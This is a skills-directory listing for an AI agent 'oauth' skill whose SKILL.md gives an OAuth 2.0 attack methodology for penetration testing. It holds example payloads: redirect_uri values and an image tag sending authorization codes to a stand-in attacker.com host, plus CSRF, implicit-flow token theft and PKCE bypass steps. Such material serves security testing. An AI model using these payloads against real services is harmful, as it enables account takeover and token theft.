Skip to content
Back to skills

Oauth

ASecurity

OAuth 2.0 attack methodology. Covers redirect_uri manipulation, state CSRF bypass, authorization code interception, implicit flow token theft, open redirect chaining, and PKCE bypass.

  • 5 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added September 25, 2026
ai-agentstestinggit

Works with

  • cli

Security analysis

A100/100

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill oauth --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Oauth?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Oauth
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-oauth/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-oauth)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: oauth
description: OAuth 2.0 attack methodology. Covers redirect_uri manipulation, state CSRF bypass, authorization code interception, implicit flow token theft, open redirect chaining, and PKCE bypass.
version: 1.0.0
license: Apache-2.0
---

# OAuth 2.0 Attacks

## Phase 1 — Recon

```
Map the OAuth flow: authorization endpoint, token endpoint, redirect URIs, scopes
Check for: state parameter presence, PKCE enforcement, redirect_uri validation strictness
```

## Attack 1 — Redirect URI Manipulation

```
# If server does prefix matching only:
redirect_uri=https://client.com.attacker.com/callback

# If server allows subpaths:
redirect_uri=https://client.com/callback/../attacker-path

# If server allows ports:
redirect_uri=https://client.com:8080/callback

# If regex is used:
redirect_uri=https://attacker.comclient.com/callback
redirect_uri=https://client.com@attacker.com/callback
```

## Attack 2 — State Parameter CSRF

If no `state` parameter (or predictable state):

```
1. Attacker crafts an authorization URL without state
2. Sends it to victim
3. Victim clicks, logs in, gets redirected with `code`
4. Attacker uses the code (via CSRF injection) to bind attacker's account
5. Result: attacker logs in as victim
```

## Attack 3 — Authorization Code Interception

Via Referer header:
```html
<!-- On a page with a third-party resource: -->
<img src="https://attacker.com/steal">
<!-- If victim visits the redirect page, Referer header sends the code to attacker -->
```

Via open redirect:
```
redirect_uri=https://client.com/redirect?url=https://attacker.com
```

## Attack 4 — Implicit Flow Token Theft

```
# In implicit flow, access_token appears in URL fragment (#)
# If the app passes it to a third-party analytics/CDN script:
document.referrer / window.location.hash → token leaked to third party
```

## Attack 5 — PKCE Bypass

If PKCE is implemented but `code_verifier` is not validated server-side:

```
Send authorization request with any code_challenge
Exchange with any code_verifier
→ If server accepts, PKCE is cosmetic
```

## Tools

- Burp Suite — intercept and modify OAuth flows
- [oauth-scan](https://github.com/nicowillis/oauth-scan) — automated OAuth testing

## OWASP Mapping

- A07:2021 — Identification and Authentication Failures

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.